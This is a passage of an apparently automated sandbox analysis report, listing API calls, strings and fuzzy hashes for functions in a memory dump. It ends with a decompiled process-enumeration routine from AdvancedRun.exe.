Opcode Fuzzy Hash: 3a4c0eb35235812ddd8a4d6b09055b798fefab211172dcc7776a25620f3e2006
Instruction Fuzzy Hash: 4BF0B473A4532832C93126285842FBB77288F66F74F11415FFF542A298877CC84281D5

Uniqueness

Uniqueness Score: -1.00%

Function 6B471FA1, Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6B4720AB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 45396d215e4d28f7c323d0b34874c4e3112118cc8e24791ce70437f86acfb657
Instruction ID: 653653120c489f7091e7c2a21cca22a9fd37f4d7db1ffc973f021ee16a9b31aa
Opcode Fuzzy Hash: 45396d215e4d28f7c323d0b34874c4e3112118cc8e24791ce70437f86acfb657
Instruction Fuzzy Hash: 2AA160759011299BDB24DE288880FEA73B8BF85714F1081F9D959A3240DF3D9E86CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 6B4711E0, Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

iswctype.1105(0000000A,00000004), ref: 6B471244
iswctype.1105(00000000,00000004), ref: 6B4CEC6A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: 3676851bbafd6c3d5716f2946f46085221a179b843225c3643a4dddeebfdef0e
Instruction ID: 7afd671d6bfaea095255a51fd4a12e7fcdb94db47301c2afea4ab4b7d5eba8aa
Opcode Fuzzy Hash: 3676851bbafd6c3d5716f2946f46085221a179b843225c3643a4dddeebfdef0e
Instruction Fuzzy Hash: C971F075E4412A8BDB28DAA8C4A2FFEB3F1AB45740F20447AD851F7380D73D9941CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6B471E50, Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6B54F330,00000018), ref: 6B4CF223
RtlNtStatusToDosError.1105(C000000D), ref: 6B4CF2A6
RtlEnterCriticalSection.1105(?), ref: 6B4CF2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6B4CF2E2

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: 32fb60a154998bdea93cdfe6b8c12fbe04641d414818c35da8320fdd6c17e1c5
Instruction ID: 974b1aa9e1de4ea8e908d09c449c027705dc044050d826b7b6d197dd9da0cd59
Opcode Fuzzy Hash: 32fb60a154998bdea93cdfe6b8c12fbe04641d414818c35da8320fdd6c17e1c5
Instruction Fuzzy Hash: 94510379A016999FDB20CF68C550FEFB7E1AF49B08F0085A9D85557740C73DAC0ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A8ED7, Relevance: 6.1, APIs: 4, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6B4A8F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6B4A8F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6B4A8F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6B4A8FD3

Part of subcall function 6B4A92FC: RtlEnterCriticalSection.1105(6B566D80,6B550158,00000018,6B4763DB), ref: 6B4A9331

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: 570852470da339f668920c91e36a329ffaf0764f9fa212561e08bc291af03acc
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: 6831BD722086469FD708CF2CC850A6AB7E2FF94724F08862DF9658B794D739DC21CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B54ED52, Relevance: 6.1, APIs: 4, Instructions: 110timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B568684,6B568668,?,?,6B568668,6B568668,?,6B54E5F4,?,80000002,6B568668,6B568660), ref: 6B54EDA9
RtlReleaseSRWLockExclusive.1105(6B568684,6B568684,6B568668,?,?,6B568668,6B568668,?,6B54E5F4,?,80000002,6B568668,6B568660), ref: 6B54EE42
RtlDebugPrintTimes.1105(?,?,6B568684,6B568684,6B568668,?,?,6B568668,6B568668,?,6B54E5F4,?,80000002,6B568668,6B568660), ref: 6B54EE50
RtlReleaseSRWLockExclusive.1105(6B568684,6B568684,6B568668,?,?,6B568668,6B568668,?,6B54E5F4,?,80000002,6B568668,6B568660), ref: 6B54EE5B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: 15f804fe2a5680bb7db459a8b536138cef5fc3ee23a42d0bda3ffbd24d110817
Instruction ID: af3da134c5dffa091b546150f3a28fb463986c829e3f86ad18f41d5104fdbe2f
Opcode Fuzzy Hash: 15f804fe2a5680bb7db459a8b536138cef5fc3ee23a42d0bda3ffbd24d110817
Instruction Fuzzy Hash: 7A31F632B114259B9B0CCF29CC919A9B7F5EF8A32031446ADE816CB795DB38ED41CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6B49ECE0, Relevance: 6.1, APIs: 4, Instructions: 103timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6B49ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6B49ED90
TpSetWaitEx.1105 ref: 6B4E42DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6B4E432F

Part of subcall function 6B49FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6B49FC71

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: bdfa7c4571056cefa5c0abd72012d9c539fe91a65b122d9e19b7855a56330aab
Instruction ID: c144bc975597129629d2142e0a85bafd2d296157f445be3cbe2938d2c36f1e29
Opcode Fuzzy Hash: bdfa7c4571056cefa5c0abd72012d9c539fe91a65b122d9e19b7855a56330aab
Instruction Fuzzy Hash: 44310471A507179FC700DF38D880BAAFBA4BF85754F054A29D96887340DB38E81A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6B52C08A, Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6B52BC33,?,C0000002,00000020,?,?), ref: 6B52C0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6B52BC33,?,C0000002), ref: 6B52C115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6B52BC33,?,C0000002,00000020,?), ref: 6B52C17F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: 9bb62ae07b5509b311a3ef2b8833cbf9296d1eb916a8d91d15cf10d9f8a22be0
Instruction ID: 19a0aca0e7c0130793c7351a973cbb12677c2969b0459f4d71426fbe74b9d6e5
Opcode Fuzzy Hash: 9bb62ae07b5509b311a3ef2b8833cbf9296d1eb916a8d91d15cf10d9f8a22be0
Instruction Fuzzy Hash: 35313476A09505ABD718CF68C881AEBF3B9FF44714B04C46DE81D8B201DB38EA42C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 6B548050, Relevance: 6.1, APIs: 4, Instructions: 78threadCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B5686C4,00000008,?,00000000,00000008,?,6B4CF8D6,?,00000000,00000000,?,6B4722D2,00000000,?,00000000,00000034), ref: 6B5480AA
RtlReleaseSRWLockExclusive.1105(6B5686C4,6B5686C4,00000008,?,00000000,00000008,?,6B4CF8D6,?,00000000,00000000,?,6B4722D2,00000000,?,00000000), ref: 6B5480DD
TpSetPoolMaxThreads.1105(00000000,00000000,6B5686C4,6B5686C4,00000008,?,00000000,00000008,?,6B4CF8D6,?,00000000,00000000,?,6B4722D2,00000000), ref: 6B5480F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6B5686C4,6B5686C4,00000008,?,00000000,00000008,?,6B4CF8D6,?,00000000,00000000), ref: 6B5480FB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: bfd150078871db06c3a79f658e2de51191245cb84780b59943bae817b5244771
Instruction ID: a689d2f3f6070673015822b8ea0be4886d3d9897d3a0b5c4c9240fc097fbf2c3
Opcode Fuzzy Hash: bfd150078871db06c3a79f658e2de51191245cb84780b59943bae817b5244771
Instruction Fuzzy Hash: 1711E932F0111157A7259A7D8CA0EDBA3A59B97784B11027EEE18E7340EA7DCD0186E3

Uniqueness

Uniqueness Score: -1.00%

Function 6B502D0B, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6B4CFFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6B502D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6B4CFFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B502D3C

Part of subcall function 6B49FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6B49FB35
Part of subcall function 6B49FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B49FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6B4CFFD2,00000000,?), ref: 6B502D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6B4CFFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B502D95

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: 06da670de9a3570e80ea05dce2f21d3439d896ac69c55cda0f7bf4779bade005
Instruction ID: 81b576145ca7979dc1493d2020d483ea2614e14171f52bc4da0843ec1194e179
Opcode Fuzzy Hash: 06da670de9a3570e80ea05dce2f21d3439d896ac69c55cda0f7bf4779bade005
Instruction Fuzzy Hash: 4111A3325003199FEB30DB54D484DD6B7BDEB86218B14845EE54983200EB7AFD4AC791

Uniqueness

Uniqueness Score: -1.00%

Function 6B49E63F, Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6B49E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6B49E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6B4A9688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B4CE258

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: 43477c573ea34b668cf5ecaabb132099d395b618791ee97f8d7b4e7f494fc042
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: 0901A1315A4600DBC720DF2DD8C5F83BBA8BB46728F90066DD9544B281D77DEC8AC785

Uniqueness

Uniqueness Score: -1.00%

Function 6B528061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

xl--, xrefs: 6B5280FD, 6B528215
xn--, xrefs: 6B5280F6, 6B52810E, 6B52821C, 6B528223

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 399be20d020b5860d0bcebcd32aa1edcb92f7118044d41019b03718da2e44278
Instruction ID: cc2830b06e755c3ce363191d3df6809ce43827bb0432d719fd4bbf92846ab64c
Opcode Fuzzy Hash: 399be20d020b5860d0bcebcd32aa1edcb92f7118044d41019b03718da2e44278
Instruction Fuzzy Hash: C1E1A671E012198FEF14DFE8C8806EDB7B1FF88314F24846AD955A72C4E7789941CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B491F30, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

RtlxOemStringToUnicodeSize.1105(?,?,00000000,?,00000001,?,?,?,?,?,6B4C17F0,6B54FC68,000000FE,?,6B4F3D77,?), ref: 6B4DCEE2

Strings

w=Ok, xrefs: 6B491F59, 6B49206E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: RtlxSizeStringUnicode
String ID: w=Ok
API String ID: 2371059093-1453251296
Opcode ID: e4c504b0388255ccf104d35f3c7baa799d5d45e5189ff59916ca81e9fc5e4300
Instruction ID: 3b167604b515f70b21798852011409350227283f2827e77a8f6c05a5d4009bf7
Opcode Fuzzy Hash: e4c504b0388255ccf104d35f3c7baa799d5d45e5189ff59916ca81e9fc5e4300
Instruction Fuzzy Hash: 6F51AAB4C042699AEB10CF59D490BEEBBF4FF49714F10416EE995A7390E7389841CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6B49DD82, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B567B60,?,?,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?), ref: 6B49DED2
RtlLeaveCriticalSection.1105(6B567B60,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?), ref: 6B49DF06

Strings

`{Vk, xrefs: 6B49DECC

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: `{Vk
API String ID: 3168844106-1950870956
Opcode ID: 89e1be74713ed8103f8bc357f30884a43cbd3f10b07b615d063ff8f7e9ecc0cf
Instruction ID: 33c9aefb242edb2093d1a2d72278830674b5cbeb7ed96405241c9dcef04a35cf
Opcode Fuzzy Hash: 89e1be74713ed8103f8bc357f30884a43cbd3f10b07b615d063ff8f7e9ecc0cf
Instruction Fuzzy Hash: 79512571945601DFC719DF29E580E85BFF1BF5A318B25C5AED4188B322E739E882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B49FD1F, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

RtlAddRefActivationContext.1105(?,%*Ik,00000000,00000000,%*Ik,?,?,?,?), ref: 6B49FD5D

Strings

%*Ik, xrefs: 6B49FD30
SsHd, xrefs: 6B4E489A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContext
String ID: %*Ik$SsHd
API String ID: 2448800588-1011416354
Opcode ID: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction ID: 1c2d24d7eea3c5f313595e36c5dafe9f79789d4977302332c9fd040e46716bcc
Opcode Fuzzy Hash: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction Fuzzy Hash: 7041C775B026459FD714DE58D480E5EB7F6BF89784B10866DE809CB300E738F952CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B483AD2, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

MUI, xrefs: 6B4D816E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction ID: e95fd77cd7642c9a527ddec623bcdb65cbec3ce401fea3a8bb4a2fa77137073b
Opcode Fuzzy Hash: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction Fuzzy Hash: 89317C70A0411A9BCB10DF99C8A0EBEF7B5AF55744F50919AEC50AB306E73CD986C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B483B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6B483B76
RtlInitUnicodeString.1105(?,MUI,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6B483BC8

Strings

MUI, xrefs: 6B483BC2

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitLcidLocaleNameStringUnicode
String ID: MUI
API String ID: 1552940156-1339004836
Opcode ID: e720b105a499045de3ac33e66142d289a37bd2b21a742ac175424e5388134124
Instruction ID: 17237df208591286e9b4a849044f4c83b326a8588de6b81ec307f3c0cd4f4fa2
Opcode Fuzzy Hash: e720b105a499045de3ac33e66142d289a37bd2b21a742ac175424e5388134124
Instruction Fuzzy Hash: 6A21F6B46012155BC720DF24C481EBBB3A8EF917A0B01455EFC5487322E738D842C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4FF2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6B4FF2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6B4FF323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6B4FF31E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: 33c7b976cd91a90c507a419ac92effa0d43427ac8436d38dd23f0a6209e2f0dc
Instruction ID: 0652db7435d60ebf71f475a66b0cb403eff1c1e8008e88c1e8a7d85e80af9c35
Opcode Fuzzy Hash: 33c7b976cd91a90c507a419ac92effa0d43427ac8436d38dd23f0a6209e2f0dc
Instruction Fuzzy Hash: 4C218C32906218EBDB11CF94C980F99B7B9BBC1324F2541D9C8542B2A0D33AA942CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdvancedRun.exe PID: 4380 Parent PID: 3536 AdvancedRun.exeCOMMON

Executed Functions

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(Process32NextW(_v12,  &_v1136) != 0) {
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

0x00409609
0x0040960f
0x00409619
0x00409623
0x0040962e
0x00409633
0x00409640
0x0040964a
0x00409782
0x0040965a
0x0040965f
0x00409678
0x0040967e
0x00409681
0x00409685
0x00409688
0x004096b2
0x004096bf
0x004096c6
0x004096cb
0x004096da
0x004096e6
0x0040973b
0x00409747
0x0040975f
0x00409764
0x0040976a
0x00409770
0x00409773
0x0040977d
0x00000000
0x0040977d
0x004096ee
0x004096f5
0x004096fc
0x00409704
0x0040970c
0x0040971c
0x0040971c
0x00409704
0x00409721
0x00409728
0x00409739
0x00409739
0x00000000
0x00409728
0x00409693
0x00000000
0x00000000
0x004096a5
0x004096a9
0x004096ac
0x00000000
0x00000000
0x00000000
0x004096ac
0x004097a6

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

kernel32.dll, xrefs: 004096F7
